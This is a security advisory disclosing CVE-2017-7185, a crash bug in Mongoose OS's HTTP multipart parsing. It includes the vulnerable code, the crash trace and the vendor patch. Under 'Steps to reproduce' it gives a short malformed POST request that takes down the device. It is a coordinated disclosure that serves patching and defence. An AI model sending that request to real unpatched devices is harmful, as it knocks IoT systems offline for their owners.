############################################################ # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/en/research/advisories/ # ############################################################# # # Product: Mongoose OS # Vendor: Cesanta # CVE ID: CVE-2017-7185 # CSNC ID: CSNC-2017-003 # Subject: Use-after-free / Denial of Service # Risk: Medium # Effect: Remotely exploitable # Authors: # Philipp Promeuschel <philipp.promeuschel@compass-security.com> # Carel van Rooyen <carel.vanrooyen@compass-security.com> # Stephan Sekula <stephan.sekula@compass-security.com> # Date: 2017-04-03 # ############################################################# Introduction: ------------- Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers: * ESP32 * ESP8266 * STM32 * TI CC3200 Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS). Affected versions: --------- Vulnerable: * <= Release 1.2 Not vulnerable: * Patched in current dev / master branch Not tested: * N/A Technical Description --------------------- The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server. This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable. The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called: --------------->8--------------- void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) { [CUT BY COMPASS] #if MG_ENABLE_HTTP_STREAMING_MULTIPART if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL && s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) { mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary // however, the socket is not closed, and mg_http_multipart_continue() is executed mg_http_multipart_continue(nc); return; } ---------------8<--------------- In the mg_http_multipart_begin function, the boundary is correctly verified: --------------->8--------------- boundary_len = mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary)); if (boundary_len == 0) { /* * Content type is multipart, but there is no boundary, * probably malformed request */ nc->flags = MG_F_CLOSE_IMMEDIATELY; DBG(("invalid request")); goto exit_mp; } ---------------8<--------------- However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed. In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed: ---------------8<--------------- static void mg_http_multipart_continue(struct mg_connection *c) { struct mg_http_proto_data *pd = mg_http_get_proto_data(c); while (1) { switch (pd->mp_stream.state) { case MPS_BEGIN: { pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY; break; } case MPS_WAITING_FOR_BOUNDARY: { if (mg_http_multipart_wait_for_boundary(c) == 0) { return; } break; } --------------->8--------------- Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash. ---------------8<--------------- static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { const char *boundary; struct mbuf *io = &c->recv_mbuf; struct mg_http_proto_data *pd = mg_http_get_proto_data(c); if ((int) io->len < pd->mp_stream.boundary_len + 2) { return 0; } boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { [CUT BY COMPASS] --------------->8--------------- Steps to reproduce ----------------- Request to HTTP server (code running on hardware device): ---------------8<--------------- POST / HTTP/1.1 Connection: keep-alive Content-Type: multipart/form-data; Content-Length: 1 1 --------------->8--------------- The above request results in a stack trace on the mongoose console: ---------------8<--------------- Guru Meditation Error of type LoadProhibited occurred on core 0. Exception was unhandled. Register dump: PC : 0x400014fd PS : 0x00060330 A0 : 0x801114b4 A1 : 0x3ffbfcf0 A2 : 0x00000000 A3 : 0xfffffffc A4 : 0x000000ff A5 : 0x0000ff00 A6 : 0x00ff0000 A7 : 0xff000000 A8 : 0x00000000 A9 : 0x00000085 A10 : 0xcccccccc A11 : 0x0ccccccc A12 : 0x00000001 A13 : 0x00000000 A14 : 0x00000037 A15 : 0x3ffbb3cc SAR : 0x0000000f EXCCAUSE: 0x0000001c EXCVADDR: 0x00000000 LBEG : 0x400014fd LEND : 0x4000150d LCOUNT : 0xffffffff Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210 --------------->8--------------- Further debugging shows that an uninitialized string has indeed been passed to c_strnstr: ---------------8<--------------- (gdb) info symbol 0x401114b4 c_strnstr + 12 in section .flash.text (gdb) list *0x401114b4 0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720). warning: Source file is more recent than executable. 1715 } 1716 #endif /* _WIN32 */ 1717 1718 /* The simplest O(mn) algorithm. Better implementation are GPLed */ 1719 const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK; 1720 const char *c_strnstr(const char *s, const char *find, size_t slen) { 1721 size_t find_length = strlen(find); 1722 size_t i; 1723 1724 for (i = 0; i < slen; i++) { (gdb) list *0x401136cc 0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893). 5888 mg_http_free_proto_data_mp_stream(&pd->mp_stream); 5889 pd->mp_stream.state = MPS_FINISHED; 5890 5891 return 1; 5892 } 5893 5894 static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { 5895 const char *boundary; 5896 struct mbuf *io = &c->recv_mbuf; 5897 struct mg_http_proto_data *pd = mg_http_get_proto_data(c); (gdb) --------------->8--------------- Workaround / Fix: ----------------- Apply the following (tested and confirmed) patch: ---------------8<--------------- $ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c index 91dc8b9..063f8c6 100644 --- a/mongoose/mongoose.c +++ b/mongoose/mongoose.c @@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) { return 0; } + if(pd->mp_stream.boundary == NULL){ + pd->mp_stream.state = MPS_FINALIZE; + LOG(LL_INFO, ("invalid request: boundary not initialized")); + return 0; + } + boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len); if (boundary != NULL) { const char *boundary_end = (boundary + pd->mp_stream.boundary_len); --------------->8--------------- The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4] Timeline: --------- 2017-04-03: Coordinated public disclosure date 2017-04-03: Release of patch 2017-03-20: Initial vendor response, code usage sign-off 2017-03-19: Initial vendor notification 2017-03-19: Assigned CVE-2017-7185 2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen 2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen 2017-03-08: Discovery by Philipp Promeuschel References: ----------- [1] https://www.cesanta.com/ [2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760 [3] http://www.ietf.org/rfc/rfc2046.txt [4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b